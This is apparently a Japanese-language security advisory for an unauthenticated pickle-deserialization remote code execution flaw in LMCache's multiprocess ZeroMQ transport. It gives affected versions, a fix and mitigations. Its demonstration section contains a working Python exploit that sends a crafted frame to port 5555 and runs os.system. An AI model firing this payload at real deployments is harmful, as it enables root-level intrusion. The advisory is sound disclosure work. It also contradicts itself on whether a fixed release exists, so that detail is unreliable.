LMCache: マルチプロセスモードにおける安全でないシリアライゼーションを介したリモートコード実行の脆弱性
### 概要
LMCacheは、マルチプロセスZMQトランスポートにおけるPickleのデシリアライゼーションを介した認証されていないリモートコード実行の脆弱性があります。
### 詳細
LMCacheのマルチプロセスモード(分散モードとも呼ばれます)では、ワーカープロセスがKVキャッシュブロックを登録および共有できるように、認証されていないZeroMQのROUTERが起動されます。想定されるクライアントは、同じLMCacheプロセスです。このソケットには、CURVE、ZAP、パスワード、またはメッセージ認証は一切ありません。vLLMプロセス内でのみ使用されるLMCacheは、このポートを開きません。トランスポートは、デフォルトではlocalhostにバインドされますが、オペレーターが--hostオプションでルーティング可能なアドレスを設定した場合、マルチノード環境ではピアが接続できるようになります。9.8というスコアは、このルーティング可能な構成におけるものです。デフォルトのバインド設定のままの単一ホスト環境では、他のマシンからはアクセスできません。
ソケット上のメッセージはmsgpack形式です。拡張コード1がDeviceIPCWrapperに登録されており、lmcache/v1/platform/base/ipc_wrapper.pyのDeviceIPCWrapper.Deserializeに渡されます。これにより、pickle.loadsが呼び出されます。この拡張機能は、サーバーがREGISTER_KV_CACHE引数をデコードしている最中、ハンドラが実行される前に、lmcache/v1/multiprocess/custom_types.pyのext_hookから実行されます。したがって、認証されていない単一のZMQ DEALERメッセージをトランスポートポート(デフォルトは5555)に送信すると、LMCacheプロセスが実行しているユーザーの権限でコードが実行されます。公式のコンテナイメージでは、このプロセスがrootユーザーで実行されます。
このデコード処理は、v0.3.9で導入されました。これは、最新のPyPIリリースであるv0.5.5、v0.5.6のリリース候補(v0.5.6rc3)および2026年10月7日現在の開発ブランチでも引き続き存在します。修正されたバージョンはまだ公開されていません。
### 実証
ステップ1 - ルーティング可能なアドレスにバインドされたマルチプロセスモードを開始する
これは、ドキュメントに記載されているマルチノード環境の設定です。ZMQトランスポートは、ポート5555でリッスンしています。
```
python -m lmcache.v1.multiprocess.http_server \
--http-host 127.0.0.1 --http-port 8080 \
--host 0.0.0.0 --port 5555 \
--l1-size-gb 0.25 --eviction-policy LRU \
--hash-algorithm blake3 --instance-id mp-node-01
```
ステップ2 - `REGISTER_KV_CACHE` フレームを構築します。このフレームのキャッシュスロットは、pickle データです。
ペイロードスロット1は、コード1を持つmsgpack拡張です。サーバーは、引数をデコードしている最中に、このペイロードをunpickleします。このコマンドは、`id` を `/tmp/zmq_pwn` に書き込みます。
```python
import os
import pickle
import msgspec
import zmq
class EvilPayload:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return (os.system, (self.cmd,))
evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1"))
REGISTER_KV_CACHE = 1
EXT_CODE = 1
NUM_PAYLOADS = 7
KVCACHE_INDEX = 1
b_uid = msgspec.msgpack.encode(0)
b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)
payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS
payloads[0] = msgspec.msgpack.encode(0)
payloads[KVCACHE_INDEX] = msgspec.msgpack.encode(
[msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]
)
frames = [b_uid, b_type, *payloads]
```
ステップ3 - フレームを送信します。
```python
ctx = zmq.Context()
s = ctx.socket(zmq.DEALER)
s.connect("tcp://127.0.0.1:5555")
s.send_multipart(frames)
```
pickle は、引数のデコード中に実行されます。その後、サーバーは `REGISTER_KV_CACHE` に対して型エラーを記録します。これは、ハンドラーが `DeviceIPCWrapper` を期待していたのに対し、`os.system` の戻り値を受け取ったためです。このエラーは、コマンドがすでに実行された後に発生します。
ステップ4 - コマンドが LMCache ユーザーとして実行されたことを確認します。
```bash
cat /tmp/zmq_pwn
```
公式イメージでは、プロセスが root ユーザーとして実行されるため、期待される出力は次のようになります。
```
uid=0(root) gid=0(root) groups=0(root)
```
### 影響
```
LMCacheのマルチプロセス(MP)モードでは、認証を必要としないZeroMQトランスポート(デフォルトではポート5555)を使用します。このトランスポートで受信されたデバイスIPC記述子は、`pickle.loads`でデシリアライズされます。攻撃者がこのトランスポートポートにアクセスできる場合、作成されたメッセージを送信することで、LMCacheプロセスの権限で任意のコードを実行できます。
デフォルトでは、このトランスポートはlocalhostにバインドされ、シングルプロセス(インプロセス)モードではポートは開かれません。マルチノード構成のように、トランスポートがルーティング可能なアドレスにバインドされると、脆弱性が露呈する可能性があります。このプロジェクトのKubernetesのサンプルデプロイメントはすべてのインターフェースにバインドされており、公式のコンテナイメージはrootユーザーで実行されていたため、それらに基づくデプロイメントは脆弱であると見なされるべきです。
影響を受けるバージョン:0.3.9から0.5.5、0.5.6のリリース候補、およびPR #5644以前の`dev`ブランチのビルド。
### 修正
**0.5.6**で修正されました。`pickle`は、使用前に検証されるバージョン付きの型付きMessagePack記述子に置き換えられました。デバイスラッパーの型は、固定されたローカルの許可リストから選択され、`pickle`のフォールバックはありません。ZeroMQとgRPCの両方のトランスポートパスが対象となっています。
ワイヤ形式が変更されたため、すべてのワーカーとサーバーを同時にアップグレードする必要があります。
0.5.6では、Kubernetesのサンプルデプロイメントをlocalhostにバインドし(PR #5684)、公式イメージを非rootユーザーで実行するようにしました(PR #5685)。
### 対策
アップグレードできない場合は、以下の対策を講じてください。
- トランスポートをルーティング可能なアドレスにバインドしないようにし、localhostまたは信頼できるクラスタネットワークに限定してください。
- ファイアウォールルールまたはネットワークポリシーで、トランスポートポート(デフォルトでは5555)へのアクセスを制限してください。
- LMCacheを非rootユーザーで実行してください(必要に応じて、提供されているDockerfileからビルドしてください)。
もし、トランスポートポートが信頼できないネットワークからアクセス可能になったことがある場合は、そのホストが潜在的に侵害されている可能性があるとみなし、以下の対応を行ってください。ポートへの接続を調査し、LMCacheプロセスからの予期しないプロセスや外部接続がないか確認し、アクセス可能な認証情報をローテーションし、クリーンなイメージから再デプロイしてください。
影響を受けるパッケージ:
- pip (Python) lmcache: 影響を受けるバージョンは 0.3.9 以降、0.5.6 未満。0.5.6 で修正済み。